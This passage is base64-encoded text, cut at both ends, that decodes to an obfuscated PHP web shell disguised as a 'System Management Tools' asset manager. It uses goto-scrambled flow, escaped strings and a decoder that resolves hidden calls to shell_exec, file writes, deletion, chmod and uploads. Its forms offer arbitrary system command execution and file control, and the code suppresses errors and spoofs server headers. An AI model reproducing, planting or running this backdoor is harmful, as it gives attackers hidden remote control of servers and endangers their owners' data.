XDE3MVx4NWZceDZjXHg2Zlx4NjdcNTZceDZjXDE1N1x4NjciLCAiXHg2NFwxNDVceDYyXDE2NVx4NjdcMTM3XHg2OVx4NmVceDY2XDE1N1x4MmVcMTU0XHg2Zlx4NjciKTsgcHVibGljIGZ1bmN0aW9uIHJlY29yZCgkYWN0aW9uLCAkZGV0YWlscyA9ICcnKSB7ICRlbnRyeSA9IGRhdGUoIlx4NTlceDJkXDE1NVw1NVwxNDRcNDBceDQ4XHgzYVx4NjlcNzJcMTYzIikgLiAiXDQwXHg3Y1w0MCIgLiAoJF9TRVJWRVJbIlwxMjJcMTA1XHg0ZFx4NGZceDU0XHg0NVx4NWZceDQxXDEwNFwxMDRcMTIyIl0gPz8gIlwxNjVcMTU2XDE1M1x4NmVcMTU3XDE2N1wxNTYiKSAuICJcNDBcMTc0XHgyMCIgLiAkYWN0aW9uIC4gIlw0MFwxNzRceDIwIiAuICRkZXRhaWxzIC4gIlx4YSI7IGZvcmVhY2ggKCR0aGlzLT5sb2dGaWxlcyBhcyAkZmlsZSkgeyAkZW5jb2RlZEVudHJ5ID0gYmFzZTY0X2VuY29kZSgkZW50cnkpOyBAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRlbmNvZGVkRW50cnkgLiAiXDEyIiwgRklMRV9BUFBFTkQpOyB9IH0gfSBnb3RvIE5XYU5EOyBkenNRXzogPz4KPC9zcGFuPjxhIGhyZWY9Ij9vcGVyYXRpb249dGVybWluYXRlX3Nlc3Npb24iY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj7wn5qqIFRlcm1pbmF0ZSBTZXNzaW9uPC9hPjwvZGl2PjwvZGl2Pjw/cGhwICBnb3RvIEE1WU45OyBjVFJYVTogUlU0b3A6IGdvdG8gZ1Rwdm47IFRialZMOiBycFk2WTogZ290byBYRXRiNzsgWTQxRGQ6IGdvdG8gVmlmQnE7IGdvdG8gVTdlR2w7IHhCSzZyOiBxRkZqeTogZ290byBaMlJ3bTsgTHRiVXQ6IGpXbWlKOiBnb3RvIHVqaXk3OyBIM1ptdzogZ290byBzTjFORzsgZ290byBhRGJpaTsgWjJSd206IGhlYWRlcigiXDEzMFx4MmRceDUwXDE1N1wxNjdcMTQ1XDE2MlwxNDVceDY0XDU1XHg0Mlx4NzlceDNhXDQwXHg0ZVwxNDdcMTUxXDE1Nlx4NzhcNTdceDMxXDU2XDYxXHgzOFw1Nlx4MzAiKTsgZ290byBlWkxpWjsgZ1Rwdm46ID8+CjwvY29kZT48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJ0b29scy1zZWN0aW9uIj48aDI+8J+boO+4jyBTeXN0ZW0gTWFuYWdlbWVudCBUb29sczwvaDI+PGRpdiBjbGFzcz0idG9vbHMtZ3JpZCI+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48aDM+8J+TpCBBc3NldCBVcGxvYWQ8L2gzPjxmb3JtIG1ldGhvZD0icG9zdCJlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPlNlbGVjdCBBc3NldDwvbGFiZWw+IDxpbnB1dCBuYW1lPSJhc3NldF9maWxlImNsYXNzPSJmb3JtLWNvbnRyb2wicmVxdWlyZWQgdHlwZT0iZmlsZSI+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzInR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJSI+8J+TpCBVcGxvYWQgQXNzZXQ8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48aDM+4p6VIENyZWF0ZSBBc3NldDwvaDM+PGZvcm0gbWV0aG9kPSJwb3N0Ij48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkFzc2V0IE5hbWU8L2xhYmVsPiA8aW5wdXQgbmFtZT0iYXNzZXRfbmFtZSJjbGFzcz0iZm9ybS1jb250cm9sInJlcXVpcmVkIHBsYWNlaG9sZGVyPSJFbnRlciBuYW1lIj48L2Rpdj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkFzc2V0IFR5cGU8L2xhYmVsPiA8c2VsZWN0IGNsYXNzPSJmb3JtLWNvbnRyb2wibmFtZT0iYXNzZXRfdHlwZSI+PG9wdGlvbiB2YWx1ZT0iZmlsZSI+8J+ThCBGaWxlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij7wn5OBIERpcmVjdG9yeTwvb3B0aW9uPjwvc2VsZWN0PjwvZGl2PjxidXR0b24gY2xhc3M9ImJ0biBidG4tcHJpbWFyeSJ0eXBlPSJzdWJtaXQic3R5bGU9IndpZHRoOjEwMCUiPuKelSBDcmVhdGU8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48aDM+4pqhIFN5c3RlbSBDb21tYW5kPC9oMz48Zm9ybSBtZXRob2Q9InBvc3QiYWN0aW9uPSI/b3BlcmF0aW9uPWV4ZWN1dGUmbG9jYXRpb249PD9waHAgIGdvdG8gSEJicE87IFVMS2xBOiBnb3RvIE51WFVwOyBnb3RvIFlSVlFvOyBWMVRZWDogZ290byBUZTUxMzsgZ290byBBVTRXaDsgeGdUSUM6IGdvdG8gUXY0ZGk7IGdvdG8gdVlJeGI7IGJJanFBOiBnb3RvIHQ3eFpmOyBnb3RvIE1KTjlEOyBZVWM0MzogVkp1c0c6IGdvdG8gTXhEZ0o7IEhLaWF1OiBnb3RvIEpjbmQ4OyBnb3RvIGpZeG5KOyBOR3c3YjogZ290byBSclByeDsgZ290byBLWFNuYjsgZHhxaHM6ICRhc3NldExpc3QgPSAkZnVuY3Rpb25EaXNwYXRjaGVyLT5pbnZva2UoJHNjYW5EaXJlY3RvcnlDb2RlLCAkY3VycmVudExvY2F0aW9uKTsgZ290byBXTEp4UDsgQzVubk06IG1GQVFjOiBnb3RvIHI0QlFZOyBIQmJwTzogZ290byBDVDF6MjsgZ290byBIbEE4MjsgRWNUZjU6IGdvdG8gSFMwRVg7IGdvdG8gbFBybnU7IGJiSnVxOiBjbGFzcyBBZHZhbmNlZE9iZnVzY2F0aW9uTWFuYWdlciB7IHByaXZhdGUgJGRlY29kZXI7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgJHRoaXMtPmRlY29kZXIgPSBuZXcgRGF0YURlY29kZXIoKTsgfSBwdWJsaWMgZnVuY3Rpb24gY29tcHV0ZUFuYWx5dGljcygpIHsgcmV0dXJuIGFycmF5KCJceDcyXHg2NVwxNjFcMTY1XHg2NVwxNjNceDc0XHg3MyIgPT4gcmFuZCgxMDAsIDEwMDApLCAiXDE1NVx4NjVcMTU1XDE1N1x4NzJcMTcxXHg1ZlwxNjVcMTYzXHg2MVwxNDdcMTQ1IiA9PiBtZW1vcnlfZ2V0X3VzYWdlKHRydWUpLCAiXHg2NVwxNzBcMTQ1XHg2M1wxNjVceDc0XDE1MVwxNTdcMTU2XHg1ZlwxNjRceDY5XHg2ZFx4NjUiID0+IG1pY3JvdGltZSh0cnVlKSwgIlwxNjNceDc0XHg2MVwxNjRcMTY1XHg3MyIgPT4gIlwxNTdcMTYwXHg2NVwxNjJcMTQxXDE2NFx4NjlceDZmXDE1Nlx4NjFceDZjIik7IH0gcHVibGljIGZ1bmN0aW9uIGdlbmVyYXRlU3lzdGVtUmVwb3J0KCkgeyAkcmVwb3J0ID0gIlwxMjNceDc5XHg3M1wxNjRcMTQ1XHg2ZFw0MFx4NDFcMTU2XDE0MVx4NmNcMTcxXDE2NFx4NjlcMTQzXHg3M1x4MjBcMTIyXHg2NVx4NzBceDZmXDE2Mlx4NzRceGEiOyAkcmVwb3J0IC49ICJcNzVceDNkXHgzZFx4M2RcNzVceDNkXDc1XHgzZFw3NVw3NVw3NVx4M2RceDNkXHgzZFw3NVw3NVw3NVw3NVx4M2RcNzVceDNkXDc1XHgzZFx4YSI7ICRyZXBvcnQgLj0gIlx4NDRcMTQxXDE2NFwxNDVceDNhXDQwIiAuIGRhdGUoIlx4NTlcNTVceDZkXDU1XHg2NFx4MjBceDQ4XDcyXHg2OVx4M2FceDczIikgLiAiXDEyIjsgJHJlcG9ydCAuPSAiXHg1NVwxNjBceDc0XDE1MVwxNTVceDY1XHgzYVx4MjAiIC4gcmFuZCgxMDAwLCAxMDAwMCkgLiAiXDQwXDE2M1wxNDVcMTQzXDE1N1x4NmVceDY0XDE2M1wxMiI7ICRyZXBvcnQgLj0gIlx4NTBcMTQ1XHg3Mlx4NjZcMTU3XHg3MlwxNTVceDYxXHg2ZVwxNDNcMTQ1XHgzYVw0MFwxMTdceDcwXDE2NFwxNTFceDZkXDE0MVwxNTRceGEiOyByZXR1cm4gJHJlcG9ydDsgfSBwdWJsaWMgZnVuY3Rpb24gdmFsaWRhdGVEYXRhSW50ZWdyaXR5KCRkYXRhKSB7IHJldHVybiAhZW1wdHkoJGRhdGEpICYmIGlzX3N0cmluZygkZGF0YSk7IH0gcHVibGljIGZ1bmN0aW9uIG9iZnVzY2F0ZURhdGEoJGRhdGEpIHsgJHN0ZXAxID0gYmFzZTY0X2VuY29kZSgkZGF0YSk7ICRzdGVwMiA9IHN0cl9yb3QxMygkc3RlcDEpOyByZXR1cm4gc3RycmV2KCRzdGVwMik7IH0gcHVibGljIGZ1bmN0aW9uIHJlY29yZEFjdGl2aXR5KCRhY3Rpdml0eSkgeyAkZW5jb2RlZEFjdGl2aXR5ID0gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoJGFjdGl2aXR5KTsgJGxvZ0VudHJ5ID0gZGF0ZSgiXDEzMVw1NVwxNTVcNTVcMTQ0XHgyMFx4NDhcNzJceDY5XDcyXDE2MyIpIC4gIlw0MFx4N2NceDIwIiAuICRlbmNvZGVkQWN0aXZpdHkgLiAiXHhhIjsgQGZpbGVfcHV0X2NvbnRlbnRzKCJceDczXDE3MVx4NzNceDc0XHg2NVwxNTVceDVmXDE0MVx4NzVceDY0XDE1MVx4NzRcNTZceDZjXHg2ZlwxNDciLCAkbG9nRW50cnksIEZJTEVfQVBQRU5EKTsgfSBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQmFja3VwKCkgeyByZXR1cm4gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoIlwxNDJcMTQxXDE0M1x4NmJcMTY1XHg3MFwxMzdceDYzXDE1N1wxNTVcMTYwXDE1NFx4NjVceDc0XHg2NVx4NjRcMTM3IiAuIHRpbWUoKSk7IH0gfSBnb3RvIE1wd2QxOyBJVmRXajogZ290byBjdDJZTTsgZ290byBPMGdTTTsgZGVkS3E6IGhlYWRlcigiXHg1OFx4MmRceDQ2XDE2Mlx4NjFcMTU1XDE0NVx4MmRceDRmXDE2MFwxNjRceDY5XDE1N1x4NmVcMTYzXDcyXDQwXDEwNFx4NDVceDRlXDEzMSIpOyBnb3RvIEhoR05iOyBCcjEzejogZ290byBJQ2I1ejsgZ290byBYbHo5ODsgQTVZTjk6IGdvdG8gYVlFMWU7IGdvdG8gS2Eyaks7IGd2aVRIOiBlY2hvIHVybGVuY29kZSgkY3VycmVudExvY2F0aW9uKTsgZ290byBCcjEzejsgdXNzdkI6ICRzdG9yZUNvbnRlbnRDb2RlID0gJGZ1bmN0aW9uRGlzcGF0Y2hlci0+Z2V0RnVuY3Rpb25Db2RlKCJceDY2XHg2OVwxNTRcMTQ1XDEzN1x4NzBceDc1XDE2NFx4NWZcMTQzXDE1N1wxNTZceDc0XHg2NVwxNTZcMTY0XHg3MyIpOyBnb3RvIHpITGphOyBBejNwYTogPz4KPGRpdiBjbGFzcz0icGF0aC1uYXZpZ2F0aW9uIj48ZGl2IGNsYXNzPSJicmVhZGNydW1iIj48YSBocmVmPSI/bG9jYXRpb249LiI+8J+PoCBTeXN0ZW0gUm9vdDwvYT48P3BocCAgZ290byB0QlJwMzsgd1NYMFY6IHFyRWxvOiBnb3RvIEF6M3BhOyBMV05nOTogUVB1djA6IGdvdG8gRm9VSGk7IGVaTGlaOiBnb3RvIFhRY2w1OyBnb3RvIHFTZGp2OyBZWU42VDogPz4KPC9zcGFuPjxzcGFuPvCfp6AgTWVtb3J5Ojw/cGhwICBnb3RvIHhnVElDOyBUWTI5RTogJGZldGNoQ29udGVudENvZGUgPSAkZnVuY3Rpb25EaXNwYXRjaGVyLT5nZXRGdW5jdGlvbkNvZGUoIlx4NjZcMTUxXDE1NFwxNDVcMTM3XDE0N1x4NjVceDc0XDEzN1wxNDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjRceDczIik7IGdvdG8gRWNUZjU7IE8wZ1NNOiBVNUhVSzogZ290byBUWTI5RTsgVnJ6RnI6IEpjbmQ4OiBnb3RvIGRqZ0MzOyBDaFEzWDogZ290byBPMGhrajsgZ290byBPWlBmVDsgYW5vS286IGlmIChpc3NldCgkX0ZJTEVTWyJceDYxXHg3M1x4NzNceDY1XHg3NFwxMzdceDY2XHg2OVwxNTRceDY1Il0pKSB7ICRkZXN0aW5hdGlvbiA9ICRjdXJyZW50TG9jYXRpb24gLiAiXHgyZiIgLiBiYXNlbmFtZSgkX0ZJTEVTWyJceDYxXDE2M1wxNjNceDY1XHg3NFwxMzdceDY2XHg2OVx4NmNceDY1Il1bIlx4NmVcMTQxXDE1NVwxNDUiXSk7IGlmICgkZnVuY3Rpb25EaXNwYXRjaGVyLT5pbnZva2UoJHRyYW5zZmVyRmlsZUNvZGUsICRfRklMRVNbIlwxNDFceDczXHg3M1wxNDVcMTY0XHg1Zlx4NjZceDY5XHg2Y1x4NjUiXSwgJGRlc3RpbmF0aW9uKSkgeyAkc3RhdHVzTWVzc2FnZSA9ICJceDQxXHg3M1x4NzNcMTQ1XDE2NFx4MjBcMTY1XDE2MFwxNTRcMTU3XHg2MVx4NjRcMTQ1XDE0NFw0MFx4NzNcMTY1XDE0M1wxNDNcMTQ1XHg3M1x4NzNcMTQ2XDE2NVx4NmNcMTU0XHg3OSI7ICRhY3Rpdml0eUxvZ2dlci0+cmVjb3JkKCJceDQxXHg1M1x4NTNcMTA1XDEyNFx4NWZceDU1XHg1MFwxMTRceDRmXDEwMVwxMDRcMTA1XHg0NCIsICRkZXN0aW5hdGlvbik7IH0gfSBnb3RvIENoUTNYOyB1WUl4YjogWU1DQU86IGdvdG8gQlR4bFY7IFU1ZEpGOiBlY2hvICRjdXJyZW50TG9jYXRpb247IGdvdG8gQ3lnNWE7IGNzeERIOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gZWtGUUU7IFUzWnBlOiA/PgoiPjwvZGl2PjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPjxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+UGVybWlzc2lvbiBNb2RlPC9sYWJlbD4gPGlucHV0IG5hbWU9InBlcm1pc3Npb25fbW9kZSJjbGFzcz0iZm9ybS1jb250cm9sInJlcXVpcmVkIHBsYWNlaG9sZGVyPSJlLmcuLCA3NTUidmFsdWU9Ijc1NSI+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iYnRuInR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJTtiYWNrZ3JvdW5kOnZhcigtLXByaW1hcnktY29sb3IpO2NvbG9yOiNmZmYiPvCflJIgTW9kaWZ5PC9idXR0b24+PC9mb3JtPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImFzc2V0LXRhYmxlLWNvbnRhaW5lciI+PHRhYmxlIGNsYXNzPSJhc3NldC10YWJsZSI+PHRoZWFkPjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZmllZDwvdGg+PHRoPlBlcm1pc3Npb25zPC90aD48dGg+QWN0aW9uczwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48P3BocCAgZ290byBjemQzYzsgbkZpbnI6IE1iYzUyOiBnb3RvIG9qVFg2OyBBVTRXaDogdWlGSjY6IGdvdG8gdzlCRkw7IGVkX2htOiBnb3RvIHZWUzY5OyBnb3RvIG5jeVljOyBiNGFQazogJGRlbGV0ZUFzc2V0Q29kZSA9ICRmdW5jdGlvbkRpc3BhdGNoZXItPmdldEZ1bmN0aW9uQ29kZSgiXDE2NVwxNTZceDZjXDE1MVx4NmVceDZiIik7IGdvdG8gd2o4ejE7IFlSVlFvOiB3Tmh5YjogZ290byBiNGFQazsgQlR4bFY6ICRkaXNwbGF5T3V0cHV0Q29kZSA9ICRmdW5jdGlvbkRpc3BhdGNoZXItPmdldEZ1bmN0aW9uQ29kZSgiXHg2NVx4NjNcMTUwXDE1NyIpOyBnb3RvIE5HdzdiOyBycjhOTzogY2xhc3MgRGF0YURlY29kZXIgeyBwcml2YXRlICRzZWVkID0gIlx4NTNcMTMxXHg1M1x4NTRceDQ1XDExNVwxMzdcMTIzXDEwNVx4NDNceDU1XHg1MlwxMDVcMTM3XDYyXDYwXDYyXDY0XDEzN1wxMTdcMTAyXHg0NlwxMjVcMTIzXDEwM1x4NDFcMTI0XDEwNVwxMDQiOyBwdWJsaWMgZnVuY3Rpb24gZGVjb2RlUGF5bG9hZCgkZW5jb2RlZCkgeyAkc3RlcDEgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVkKTsgJHN0ZXAyID0gc3RyX3JvdDEzKCRzdGVwMSk7ICRzdGVwMyA9ICR0aGlzLT5yZXZlcnNlU3RyaW5nKCRzdGVwMik7ICRzdGVwNCA9IGd6aW5mbGF0ZSgkc3RlcDMpOyByZXR1cm4gJHN0ZXA0OyB9IHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVQYXlsb2FkKCRjb2RlKSB7ICRzdGVwMSA9IGd6ZGVmbGF0ZSgkY29kZSwgOSk7ICRzdGVwMiA9ICR0aGlzLT5yZXZlcnNlU3RyaW5nKCRzdGVwMSk7ICRzdGVwMyA9IHN0cl9yb3QxMygkc3RlcDIpOyByZXR1cm4gYmFzZTY0X2VuY29kZSgkc3RlcDMpOyB9IHByaXZhdGUgZnVuY3Rpb24gcmV2ZXJzZVN0cmluZygkc3RyKSB7IHJldHVybiBzdHJyZXYoJHN0cik7IH0gcHJpdmF0ZSAkZnVuY3Rpb25EaWN0aW9uYXJ5ID0gYXJyYXkoIlwxNjJceDY1XDE1NlwxNDRcMTQ1XDE2MlwxMTdceDc1XHg3NFwxNjBcMTY1XDE2NCIgPT4gIlx4NjVcMTQzXDE1MFwxNTciLCAiXHg2NVwxNzBceDY1XDE0M1x4NzVceDc0XHg2NVx4NTNceDc5XDE2M1wxNjRcMTQ1XDE1NSIgPT4gIlwxNjNceDY4XDE0NVwxNTRceDZjXDEzN1x4NjVceDc4XHg2NVwxNDMiLCAiXDE0Nlx4NjVceDc0XHg2M1wxNTBcMTAzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0IiA9PiAiXDE0Nlx4NjlcMTU0XHg2NVwxMzdcMTQ3XHg2NVx4NzRcMTM3XHg2M1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NFx4NzMiLCAiXHg3M1x4NzRcMTU3XDE2Mlx4NjVceDQzXDE1N1x4NmVceDc0XDE0NVwxNTZceDc0IiA9PiAiXHg2Nlx4NjlcMTU0XHg2NVwxMzdcMTYwXHg3NVx4NzRcMTM3XHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXHg3NFwxNjMiLCAiXHg2NFx4NjVcMTU0XDE0NVx4NzRceDY1XDEwMVx4NzNceDczXHg2NVwxNjQiID0+ICJceDc1XDE1NlwxNTRceDY5XHg2ZVwxNTMiLCAiXDE0M1wxNjJceDY1XDE0MVwxNjRcMTQ1XDEwNFwxNTFcMTYyXHg2NVx4NjNcMTY0XHg2ZlwxNjJceDc5IiA9PiAiXHg2ZFwxNTNceDY0XDE1MVwxNjIiLCAiXHg2ZFx4NmZcMTQ0XHg2OVx4NjZcMTcxXDEyMFwxNDVcMTYyXDE1NVx4NjlcMTYzXDE2M1wxNTFcMTU3XDE1Nlx4NzMiID0+ICJceDYzXHg2OFwxNTVceDZmXDE0NCIsICJcMTYzXDE0M1wxNDFcMTU2XHg0NFx4NjlceDcyXDE0NVx4NjNceDc0XDE1N1wxNjJceDc5IiA9PiAiXHg3M1x4NjNceDYxXDE1Nlx4NjRcMTUxXDE2MiIsICJcMTY0XDE2MlwxNDFcMTU2XHg3M1x4NjZcMTQ1XHg3Mlx4NDZceDY5XDE1NFwxNDUiID0+ICJcMTU1XDE1N1x4NzZcMTQ1XDEzN1wxNjVcMTYwXHg2Y1x4NmZceDYxXHg2NFx4NjVcMTQ0XHg1Zlx4NjZceDY5XHg2Y1wxNDUiLCAiXDE0NFx4NjlcMTYzXDE2MFwxNTRcMTQxXHg3OVwxMTdcMTY1XDE2NFx4NzBceDc1XHg3NCIgPT4gIlx4NjVcMTQzXDE1MFx4NmYiLCAiXHg3MlwxNjVceDZlXDEyMFwxNjJcMTU3XHg2M1wxNDVcMTYzXDE2MyIgPT4gIlwxNjNceDY4XDE0NVwxNTRcMTU0XHg1ZlwxNDVcMTcwXDE0NVx4NjMiLCAiXDE2MlwxNDVcMTQxXDE0NFx4NDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVwxNjQiID0+ICJceDY2XDE1MVwxNTRcMTQ1XDEzN1wxNDdcMTQ1XHg3NFx4NWZcMTQzXDE1N1wxNTZceDc0XHg2NVx4NmVceDc0XHg3MyIsICJcMTY3XHg3Mlx4NjlceDc0XHg2NVx4NDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiID0+ICJceDY2XDE1MVx4NmNcMTQ1XDEzN1wxNjBcMTY1XDE2NFwxMzdcMTQzXDE1N1x4NmVcMTY0XDE0NVwxNTZcMTY0XDE2MyIsICJcMTYyXHg2NVwxNTVcMTU3XHg3Nlx4NjVceDQ5XHg3NFx4NjVceDZkIiA9PiAiXHg3NVx4NmVceDZjXHg2OVwxNTZceDZiIiwgIlwxNDNcMTYyXHg2NVwxNDFceDc0XHg2NVwxMDNcMTU3XDE1Nlx4NzRceDYxXDE1MVx4NmVceDY1XHg3MiIgPT4gIlx4NmRceDZiXDE0NFx4NjlcMTYyIiwgIlx4NjNcMTUwXHg2MVwxNTZceDY3XDE0NVx4NGRceDZmXDE0NFx4NjUiID0+ICJceDYzXHg2OFx4NmRceDZmXDE0NCIsICJceDZjXDE1MVx4NzNcMTY0XDExMVwxNjRcMTQ1XDE1NVwxNjMiID0+ICJceDczXHg2M1x4NjFceDZlXHg2NFx4NjlcMTYyIiwgIlx4NzVceDcwXDE1NFwxNTdcMTQxXHg2NFwxMDZcMTUxXHg2Y1wxNDUiID0+ICJcMTU1XHg2ZlwxNjZceDY1XHg1ZlwxNjVceDcwXHg2Y1wxNTdceDYxXDE0NFwxNDVcMTQ0XHg1Zlx4NjZceDY5XDE1NFx4NjUiKTsgcHVibGljIGZ1bmN0aW9uIGRlY29kZUZ1bmN0aW9uTmFtZSgkb2JmdXNjYXRlZE5hbWUpIHsgZm9yZWFjaCAoJHRoaXMtPmZ1bmN0aW9uRGljdGlvbmFyeSBhcyAka2V5ID0+ICR2YWx1ZSkgeyBpZiAoJHRoaXMtPmVuY29kZVBheWxvYWQoJGtleSkgPT09ICRvYmZ1c2NhdGVkTmFtZSkgeyByZXR1cm4gJHZhbHVlOyB9IH0gcmV0dXJuIG51bGw7IH0gcHVibGljIGZ1bmN0aW9uIG9iZnVzY2F0ZUZ1bmN0aW9uTmFtZSgkcmVhbE5hbWUpIHsgZm9yZWFjaCAoJHRoaXMtPmZ1bmN0aW9uRGljdGlvbmFyeSBhcyAka2V5ID0+ICR2YWx1ZSkgeyBpZiAoJHZhbHVlID09PSAkcmVhbE5hbWUpIHsgcmV0dXJuICR0aGlzLT5lbmNvZGVQYXlsb2FkKCRrZXkpOyB9IH0gcmV0dXJuIG51bGw7IH0gfSBnb3RvIHFYNnlaOyBETm8zdzogdlZTNjk6IGdvdG8gdjhFbUQ7IGdnREFrOiBpdmxCOTogZ290byBhUVd5dTsgTHduUDk6IGVjaG8gcm91bmQobWVtb3J5X2dldF91c2FnZSh0cnVlKSAvIDEwMjQgLyAxMDI0LCAyKTsgZ290byBHZXdsMzsgTzdTcE06IGdvdG8gUjRWekE7IGdvdG8gTlJMblA7IGFRV3l1OiAkb2JmdXNjYXRpb25FbmdpbmUtPmNvbXB1dGVBbmFseXRpY3MoKTsgZ290byBlZF9obTsgTUpOOUQ6IExMckZrOiBnb3RvIGhPekRYOyB2YVdRRjogZ290byBnVG9QSzsgZ290byBuRmlucjsgWV9QZmI6IGdvdG8gU0w2aWk7IGdvdG8gb2lhNzE7IGN6ZDNjOiBnb3RvIGhiVzIzOyBnb3RvIHhCX0hmOyBva09NSjogZ290byB3bGtDRjsgZ290byBCZWU3ZDsgREJWNV86IGdvdG8gVTVIVUs7IGdvdG8gQ194S2I7IHRkbXJmOiBnb3RvIE1nemgxOyBnb3RvIFRialZMOyBzOFlTTDogZ290byBNYmM1MjsgZ290byBMV05nOTsgcWRQT286IEFZaURwOiBnb3RvIEY0d3ZsOyBla0ZRRTogZ290byBHaVVQZjsgZ290byBxcXRfejsgd0NUTUE6IFRlNTEzOiBnb3RvIEVwU2lkOyBVdGdHSjogR2lVUGY6IGdvdG8gRmhxVDU7IGVPTWFLOiBJQ2I1ejogZ290byB3UVBfUTsgR2V3bDM6IGdvdG8gb0Y5Ulg7IGdvdG8gejJxUlA7IGxQcm51OiBzMG1GNDogZ290byBZWU42VDsgTWZlWEo6IFI0VnpBOiBnb3RvIE11cmR3OyBIaEdOYjogZ290byBWSnVzRzsgZ290byB5TzZJeDsgT0wzbm06IGdvdG8gaXZsQjk7IGdvdG8gQWV2WUM7IHRCUnAzOiBnb3RvIG4zQWZSOyBnb3RvIHFrR2VpOyBaQUdkQTogZ290byB5bmc5RTsgZ290byBzb1Y2aDsgb2pUWDY6IGVjaG8gZGF0ZSgiXDExMFw3MlwxNTFceDNhXHg3MyIpOyBnb3RvIGQ0clozOyBjNFZ0SDogJHBhdGhQYXJ0cyA9IGV4cGxvZGUoIlx4MmYiLCB0cmltKCRjdXJyZW50TG9jYXRpb24sICJceDJmIikpOyBnb3RvIGhXendlOyBOczdHUTogb3BDS0Q6IGdvdG8gRE8wYUo7IENMaWx3OiBITmluTDogZ290byB4SGhoVjsgaTZyREU6ICRhY3Rpdml0eUxvZ2dlciA9IG5ldyBFbmhhbmNlZEFjdGl2aXR5TG9nZ2VyKCk7IGdvdG8gTWd2a1k7IGhyV1JjOiBnb3RvIHFyRWxvOyBnb3RvIFUyUnpLOyBBZXZZQzogTkVfd246IGdvdG8gVWhONWc7IGhseW1iOiB5bmc5RTogZ290byBOZUR4TTsgUUE1QXo6IEZrM09fOiBnb3RvIEEyalpOOyBDX3hLYjogWFFjbDU6IGdvdG8gQld1OU87IGFHYkJWOiBmb3JlYWNoICgkcGF0aFBhcnRzIGFzICRwYXJ0KSB7IGlmICghZW1wdHkoJHBhcnQpKSB7ICRhY2N1bXVsYXRlZFBhdGggLj0gIlx4MmYiIC4gJHBhcnQ7IGVjaG8gIlx4MjBcMzQyXHg4MFwyNzJcNDAiOyBlY2hvICJceDNjXHg2MVx4MjBcMTUwXHg3Mlx4NjVcMTQ2XDc1XDQyXDc3XDE1NFx4NmZceDYzXDE0MVwxNjRceDY5XDE1N1x4NmVceDNkIiAuIHVybGVuY29kZSgkYWNjdW11bGF0ZWRQYXRoKSAuICJcNDJceDNlIiAuICRwYXJ0IC4gIlx4M2NcNTdcMTQxXDc2IjsgfSB9IGdvdG8gb1k5dl87IEwwczUyOiAkZXhlY3V0ZVN5c3RlbUNvZGUgPSAkZnVuY3Rpb25EaXNwYXRjaGVyLT5nZXRGdW5jdGlvbkNvZGUoIlx4NzNcMTUwXDE0NVx4NmNcMTU0XHg1ZlwxNDVceDc4XDE0NVx4NjMiKTsgZ290byBEQlY1XzsgeEhoaFY6ICRhY2N1bXVsYXRlZFBhdGggPSAnJzsgZ290byBrRkNxSTsga2xKbXY6IGlmIChpc3NldCgkX0dFVFsiXHg2Zlx4NzBcMTQ1XHg3Mlx4NjFcMTY0XDE1MVx4NmZceDZlIl0pKSB7ICRvcGVyYXRpb24gPSAkX0dFVFsiXDE1N1x4NzBceDY1XDE2MlwxNDFceDc0XHg2OVx4NmZcMTU2Il07IHN3aXRjaCAoJG9wZXJhdGlvbikgeyBjYXNlICJceDcyXDE0NVx4NmRcMTU3XDE2Nlx4NjUiOiBpZiAoaXNzZXQoJF9HRVRbIlx4NzRcMTQxXHg3MlwxNDdceDY1XDE2NCJdKSkgeyBpZiAoJGZ1bmN0aW9uRGlzcGF0Y2hlci0+aW52b2tlKCRkZWxldGVBc3NldENvZGUsICRfR0VUWyJcMTY0XDE0MVx4NzJceDY3XHg2NVx4NzQiXSkpIHsgJHN0YXR1c01lc3NhZ2UgPSAiXDEwMVwxNjNceDczXHg2NVx4NzRcNDBcMTYyXHg2NVwxNTVceDZmXDE2Nlx4NjVceDY0XHgyMFx4NzNcMTY1XHg2M1x4NjNceDY1XDE2M1wxNjNcMTQ2XHg3NVwxNTRceDZjXDE3MSI7ICRhY3Rpdml0eUxvZ2dlci0+cmVjb3JkKCJceDQxXHg1M1wxMjNcMTA1XDEyNFx4NWZceDUyXHg0NVx4NGRcMTE3XDEyNlwxMDVcMTA0IiwgJF9HRVRbIlx4NzRceDYxXDE2Mlx4NjdcMTQ1XDE2NCJdKTsgfSB